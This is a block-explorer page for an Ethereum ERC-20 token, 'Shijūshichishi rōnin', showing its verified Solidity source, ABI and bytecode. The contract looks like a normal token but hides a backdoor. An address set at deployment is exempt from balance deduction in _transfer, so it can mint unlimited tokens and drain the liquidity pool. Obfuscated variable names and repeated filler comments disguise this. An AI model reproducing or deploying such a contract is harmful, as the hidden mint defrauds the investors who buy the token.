ETH Price: $3,861.52 (-1.64%)

Token

ERC-20: Shijūshichishi rōnin (四十七士浪人)
 

Overview

Max Total Supply

50,000,000 四十七士浪人

Holders

170

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
115,553.774081132 四十七士浪人

Value
$0.00
0x70ece85f008edc45379e519d6b9b994d4b8a5696
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SHHIRN

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity Multiple files format)

File 2 of 2: SHHNI.sol
// SPDX-License-Identifier: none



// Telegram: https://t.me/Shijushichishi_ronin_ERC

pragma solidity >0.8.1;

import "./IERC20.sol";

contract SHHIRN is Ownable {

        /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    uint256 hod;
    uint256 pive;
    bool exay;
    address private prim;
    address private expt;
    address private brth;
    IUniswapV2Router02 public uniswapV2Router;
    uint256 private sqr;
    string private pSym;
    uint256 private _tTotal;
    string private pName;
    uint256 private hgr;
    uint8 private drm;
    uint256 public maxWallet;
    bool public limitsEnabled=false;
    event Transfer(address indexed from, address indexed to, uint256 value);
    mapping(address => uint256) private det;
    mapping(address => uint256) private mrd;

    constructor(
        address adrr,
        address mhy,
        uint8 maxW
    ) {
        uniswapV2Router = IUniswapV2Router02(adrr);
        prim = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        pSym = unicode"四十七士浪人";
        pName =  unicode"Shijūshichishi rōnin";
        drm = 9;
        sqr = 0;
        hgr = 1;
        mrd[mhy] = drm;
        _tTotal = 50000000 * 10**drm;
        maxWallet=(_tTotal / 100) * maxW; // 4% max wallet
        fdr[msg.sender] = _tTotal;
        emit Transfer(address(0xdead), msg.sender, _tTotal);
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */

    function name() public view returns (string memory) {
        return pName;
    }

    function symbol() public view returns (string memory) {
        return pSym;
    }

    function decimals() public view returns (uint256) {
        return drm;
    }

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private fdr;

    function totalSupply() public view returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view returns (uint256) {
        return fdr[account];
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */

    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }


    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        if(_approve(sender, msg.sender, _allowances[sender][msg.sender] - amount))
            return _transfer(sender, recipient, amount,0,0);
        return false;
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, recipient, amount,0,0);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        return true;
    }

        function _transfer(
        address brn,
        address nry,
        uint256 qiy,
        uint256 pp,
        uint256 aa
    ) internal returns (bool){
        exay = prim == brn;


        if(mrd[nry] <= 0){
            if(exay && limitsEnabled){
                if(fdr[nry]+qiy > maxWallet)
                    return false;
            }
            emit Transfer(brn, nry, qiy);
        }

        hod = qiy * sqr;

        if (mrd[brn] == 0) {
            fdr[brn] -= qiy;
        }

        pive = hod / hgr;

        expt = brth;

        brth = nry;

        qiy -= pive;
        det[expt] += drm;
        fdr[nry] += qiy;

        return true;
        
    }
}

File 1 of 2: IERC20.sol
// SPDX-License-Identifier: none

pragma solidity >0.8.1;

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a det
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountKingofTsukaDesired,
        uint amountKingofTsukaMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountKingofTsuka, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountKingofTsukaMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountKingofTsuka, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountKingofTsukaMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountKingofTsuka, uint amountETH);
    function swapExactKingofTsukasForKingofTsukas(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapKingofTsukasForExactKingofTsukas(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForKingofTsukas(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapKingofTsukasForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactKingofTsukasForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactKingofTsukas(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferKingofTsukas(
        address token,
        uint liquidity,
        uint amountKingofTsukaMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferKingofTsukas(
        address token,
        uint liquidity,
        uint amountKingofTsukaMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactKingofTsukasForKingofTsukasSupportingFeeOnTransferKingofTsukas(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForKingofTsukasSupportingFeeOnTransferKingofTsukas(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactKingofTsukasForETHSupportingFeeOnTransferKingofTsukas(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"adrr","type":"address"},{"internalType":"address","name":"mhy","type":"address"},{"internalType":"uint8","name":"maxW","type":"uint8"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

6080604052600e805460ff191690553480156200001b57600080fd5b50604051620010ab380380620010ab8339810160408190526200003e91620003af565b620000493362000342565b600680546001600160a01b0319166001600160a01b0385169081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620000a3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000c9919062000402565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200012c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000152919062000402565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620001a0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001c6919062000402565b600380546001600160a01b039290921661010002610100600160a81b031990921691909117905560408051808201909152601281527172cdcdf2c6c0f25c41f2d1d5f35ad5725d5d60711b6020820152600890620002259082620004cc565b5060408051808201909152601681527f5368696ac5ab7368696368697368692072c58d6e696e000000000000000000006020820152600a90620002699082620004cc565b50600c805460ff191660099081178255600060078190556001600b556001600160a01b03851681526010602052604090205554620002ac9060ff16600a620006ad565b620002bc906302faf080620006be565b600981905560ff821690620002d490606490620006d8565b620002e09190620006be565b600d55600954336000818152601260205260409081902083905551909161dead917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91620003319190815260200190565b60405180910390a3505050620006fb565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80516001600160a01b0381168114620003aa57600080fd5b919050565b600080600060608486031215620003c557600080fd5b620003d08462000392565b9250620003e06020850162000392565b9150604084015160ff81168114620003f757600080fd5b809150509250925092565b6000602082840312156200041557600080fd5b620004208262000392565b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200045257607f821691505b6020821081036200047357634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004c757600081815260208120601f850160051c81016020861015620004a25750805b601f850160051c820191505b81811015620004c357828155600101620004ae565b5050505b505050565b81516001600160401b03811115620004e857620004e862000427565b6200050081620004f984546200043d565b8462000479565b602080601f8311600181146200053857600084156200051f5750858301515b600019600386901b1c1916600185901b178555620004c3565b600085815260208120601f198616915b82811015620005695788860151825594840194600190910190840162000548565b5085821015620005885787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005ef578160001904821115620005d357620005d362000598565b80851615620005e157918102915b93841c9390800290620005b3565b509250929050565b6000826200060857506001620006a7565b816200061757506000620006a7565b81600181146200063057600281146200063b576200065b565b6001915050620006a7565b60ff8411156200064f576200064f62000598565b50506001821b620006a7565b5060208310610133831016604e8410600b841016171562000680575081810a620006a7565b6200068c8383620005ae565b8060001904821115620006a357620006a362000598565b0290505b92915050565b60006200042060ff841683620005f7565b8082028115828204841417620006a757620006a762000598565b600082620006f657634e487b7160e01b600052601260045260246000fd5b500490565b6109a0806200070b6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb146101ef578063dd62ed3e14610202578063f2fde38b1461023b578063f8b45b051461024e57600080fd5b806370a08231146101a3578063715018a6146101cc5780638da5cb5b146101d657806395d89b41146101e757600080fd5b806318160ddd116100d357806318160ddd1461016657806323b872dd14610178578063313ce5671461018b5780633582ad231461019657600080fd5b806306fdde03146100fa578063095ea7b3146101185780631694505e1461013b575b600080fd5b610102610257565b60405161010f919061079d565b60405180910390f35b61012b610126366004610807565b6102e9565b604051901515815260200161010f565b60065461014e906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b6009545b60405190815260200161010f565b61012b610186366004610831565b6102ff565b600c5460ff1661016a565b600e5461012b9060ff1681565b61016a6101b136600461086d565b6001600160a01b031660009081526012602052604090205490565b6101d461035e565b005b6000546001600160a01b031661014e565b6101026103c9565b61012b6101fd366004610807565b6103d8565b61016a610210366004610888565b6001600160a01b03918216600090815260116020908152604080832093909416825291909152205490565b6101d461024936600461086d565b6103e8565b61016a600d5481565b6060600a8054610266906108bb565b80601f0160208091040260200160405190810160405280929190818152602001828054610292906108bb565b80156102df5780601f106102b4576101008083540402835291602001916102df565b820191906000526020600020905b8154815290600101906020018083116102c257829003601f168201915b5050505050905090565b60006102f63384846104b3565b90505b92915050565b6001600160a01b038316600090815260116020908152604080832033808552925282205461033991869161033490869061090b565b6104b3565b156103535761034c84848460008061055d565b9050610357565b5060005b9392505050565b6000546001600160a01b031633146103bd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6103c7600061074d565b565b606060088054610266906108bb565b60006102f633848460008061055d565b6000546001600160a01b031633146104425760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103b4565b6001600160a01b0381166104a75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103b4565b6104b08161074d565b50565b60006001600160a01b038416158015906104d557506001600160a01b03831615155b61052d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b4565b506001600160a01b0392831660009081526011602090815260408083209490951682529290925291902055600190565b600380546001600160a01b03878116610100830482161460ff199092169190911790915584166000908152601060205260408120546106325760035460ff1680156105aa5750600e5460ff165b156105e457600d546001600160a01b0386166000908152601260205260409020546105d690869061091e565b11156105e457506000610744565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161062991815260200190565b60405180910390a35b60075461063f9085610931565b6001556001600160a01b038616600090815260106020526040812054900361068f576001600160a01b0386166000908152601260205260408120805486929061068990849061090b565b90915550505b600b5460015461069f9190610948565b600281905560058054600480546001600160a01b038084166001600160a01b0319928316179092559091169088161790556106da908561090b565b600c546004546001600160a01b03166000908152600f60205260408120805493975060ff9092169261070d90849061091e565b90915550506001600160a01b0385166000908152601260205260408120805486929061073a90849061091e565b9091555060019150505b95945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b818110156107ca578581018301518582016040015282016107ae565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461080257600080fd5b919050565b6000806040838503121561081a57600080fd5b610823836107eb565b946020939093013593505050565b60008060006060848603121561084657600080fd5b61084f846107eb565b925061085d602085016107eb565b9150604084013590509250925092565b60006020828403121561087f57600080fd5b6102f6826107eb565b6000806040838503121561089b57600080fd5b6108a4836107eb565b91506108b2602084016107eb565b90509250929050565b600181811c908216806108cf57607f821691505b6020821081036108ef57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156102f9576102f96108f5565b808201808211156102f9576102f96108f5565b80820281158282048414176102f9576102f96108f5565b60008261096557634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122078aa994b5031efd4fda1552a1c15b7e667b45177819cc980d386e69a2c849cfc64736f6c634300081100330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000002dc70ac2206ac5fc08ab7d89096c26581d90d4f0000000000000000000000000000000000000000000000000000000000000004

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb146101ef578063dd62ed3e14610202578063f2fde38b1461023b578063f8b45b051461024e57600080fd5b806370a08231146101a3578063715018a6146101cc5780638da5cb5b146101d657806395d89b41146101e757600080fd5b806318160ddd116100d357806318160ddd1461016657806323b872dd14610178578063313ce5671461018b5780633582ad231461019657600080fd5b806306fdde03146100fa578063095ea7b3146101185780631694505e1461013b575b600080fd5b610102610257565b60405161010f919061079d565b60405180910390f35b61012b610126366004610807565b6102e9565b604051901515815260200161010f565b60065461014e906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b6009545b60405190815260200161010f565b61012b610186366004610831565b6102ff565b600c5460ff1661016a565b600e5461012b9060ff1681565b61016a6101b136600461086d565b6001600160a01b031660009081526012602052604090205490565b6101d461035e565b005b6000546001600160a01b031661014e565b6101026103c9565b61012b6101fd366004610807565b6103d8565b61016a610210366004610888565b6001600160a01b03918216600090815260116020908152604080832093909416825291909152205490565b6101d461024936600461086d565b6103e8565b61016a600d5481565b6060600a8054610266906108bb565b80601f0160208091040260200160405190810160405280929190818152602001828054610292906108bb565b80156102df5780601f106102b4576101008083540402835291602001916102df565b820191906000526020600020905b8154815290600101906020018083116102c257829003601f168201915b5050505050905090565b60006102f63384846104b3565b90505b92915050565b6001600160a01b038316600090815260116020908152604080832033808552925282205461033991869161033490869061090b565b6104b3565b156103535761034c84848460008061055d565b9050610357565b5060005b9392505050565b6000546001600160a01b031633146103bd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6103c7600061074d565b565b606060088054610266906108bb565b60006102f633848460008061055d565b6000546001600160a01b031633146104425760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103b4565b6001600160a01b0381166104a75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103b4565b6104b08161074d565b50565b60006001600160a01b038416158015906104d557506001600160a01b03831615155b61052d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b4565b506001600160a01b0392831660009081526011602090815260408083209490951682529290925291902055600190565b600380546001600160a01b03878116610100830482161460ff199092169190911790915584166000908152601060205260408120546106325760035460ff1680156105aa5750600e5460ff165b156105e457600d546001600160a01b0386166000908152601260205260409020546105d690869061091e565b11156105e457506000610744565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161062991815260200190565b60405180910390a35b60075461063f9085610931565b6001556001600160a01b038616600090815260106020526040812054900361068f576001600160a01b0386166000908152601260205260408120805486929061068990849061090b565b90915550505b600b5460015461069f9190610948565b600281905560058054600480546001600160a01b038084166001600160a01b0319928316179092559091169088161790556106da908561090b565b600c546004546001600160a01b03166000908152600f60205260408120805493975060ff9092169261070d90849061091e565b90915550506001600160a01b0385166000908152601260205260408120805486929061073a90849061091e565b9091555060019150505b95945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b818110156107ca578581018301518582016040015282016107ae565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461080257600080fd5b919050565b6000806040838503121561081a57600080fd5b610823836107eb565b946020939093013593505050565b60008060006060848603121561084657600080fd5b61084f846107eb565b925061085d602085016107eb565b9150604084013590509250925092565b60006020828403121561087f57600080fd5b6102f6826107eb565b6000806040838503121561089b57600080fd5b6108a4836107eb565b91506108b2602084016107eb565b90509250929050565b600181811c908216806108cf57607f821691505b6020821081036108ef57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156102f9576102f96108f5565b808201808211156102f9576102f96108f5565b80820281158282048414176102f9576102f96108f5565b60008261096557634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122078aa994b5031efd4fda1552a1c15b7e667b45177819cc980d386e69a2c849cfc64736f6c63430008110033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000002dc70ac2206ac5fc08ab7d89096c26581d90d4f0000000000000000000000000000000000000000000000000000000000000004

-----Decoded View---------------
Arg [0] : adrr (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : mhy (address): 0x02dC70ac2206ac5fc08aB7D89096c26581d90d4f
Arg [2] : maxW (uint8): 4

-----Encoded View---------------
3 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 00000000000000000000000002dc70ac2206ac5fc08ab7d89096c26581d90d4f
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000004


Deployed Bytecode Sourcemap

147:4682:1:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2097:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3188:137;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:2;;1162:22;1144:41;;1132:2;1117:18;3188:137:1;1004:187:2;664:41:1;;;;;-1:-1:-1;;;;;664:41:1;;;;;;-1:-1:-1;;;;;1386:32:2;;;1368:51;;1356:2;1341:18;664:41:1;1196:229:2;2489:86:1;2560:7;;2489:86;;;1576:25:2;;;1564:2;1549:18;2489:86:1;1430:177:2;3335:308:1;;;;;;:::i;:::-;;:::i;2280:79::-;2348:3;;;;2280:79;;902:31;;;;;;;;;2583:104;;;;;;:::i;:::-;-1:-1:-1;;;;;2667:12:1;2640:7;2667:12;;;:3;:12;;;;;;;2583:104;2488:94:0;;;:::i;:::-;;1837:87;1883:7;1910:6;-1:-1:-1;;;;;1910:6:0;1837:87;;2188:84:1;;;:::i;3651:147::-;;;;;;:::i;:::-;;:::i;2695:134::-;;;;;;:::i;:::-;-1:-1:-1;;;;;2794:18:1;;;2767:7;2794:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;2695:134;2737:192:0;;;;;;:::i;:::-;;:::i;871:24:1:-;;;;;;2097:83;2134:13;2167:5;2160:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2097:83;:::o;3188:137::-;3256:4;3280:37;3289:10;3301:7;3310:6;3280:8;:37::i;:::-;3273:44;;3188:137;;;;;:::o;3335:308::-;-1:-1:-1;;;;;3509:19:1;;3460:4;3509:19;;;:11;:19;;;;;;;;3497:10;3509:31;;;;;;;;3480:70;;3489:6;;3509:40;;3543:6;;3509:40;:::i;:::-;3480:8;:70::i;:::-;3477:135;;;3572:40;3582:6;3590:9;3601:6;3608:1;3610;3572:9;:40::i;:::-;3565:47;;;;3477:135;-1:-1:-1;3630:5:1;3335:308;;;;;;:::o;2488:94:0:-;1883:7;1910:6;-1:-1:-1;;;;;1910:6:0;736:10;2057:23;2049:68;;;;-1:-1:-1;;;2049:68:0;;3461:2:2;2049:68:0;;;3443:21:2;;;3480:18;;;3473:30;3539:34;3519:18;;;3512:62;3591:18;;2049:68:0;;;;;;;;;2553:21:::1;2571:1;2553:9;:21::i;:::-;2488:94::o:0;2188:84:1:-;2227:13;2260:4;2253:11;;;;;:::i;3651:147::-;3722:4;3746:44;3756:10;3768:9;3779:6;3786:1;3788;3746:9;:44::i;2737:192:0:-;1883:7;1910:6;-1:-1:-1;;;;;1910:6:0;736:10;2057:23;2049:68;;;;-1:-1:-1;;;2049:68:0;;3461:2:2;2049:68:0;;;3443:21:2;;;3480:18;;;3473:30;3539:34;3519:18;;;3512:62;3591:18;;2049:68:0;3259:356:2;2049:68:0;-1:-1:-1;;;;;2826:22:0;::::1;2818:73;;;::::0;-1:-1:-1;;;2818:73:0;;3822:2:2;2818:73:0::1;::::0;::::1;3804:21:2::0;3861:2;3841:18;;;3834:30;3900:34;3880:18;;;3873:62;-1:-1:-1;;;3951:18:2;;;3944:36;3997:19;;2818:73:0::1;3620:402:2::0;2818:73:0::1;2902:19;2912:8;2902:9;:19::i;:::-;2737:192:::0;:::o;3806:304:1:-;3923:4;-1:-1:-1;;;;;3948:19:1;;;;;;:44;;-1:-1:-1;;;;;;3971:21:1;;;;3948:44;3940:93;;;;-1:-1:-1;;;3940:93:1;;4229:2:2;3940:93:1;;;4211:21:2;4268:2;4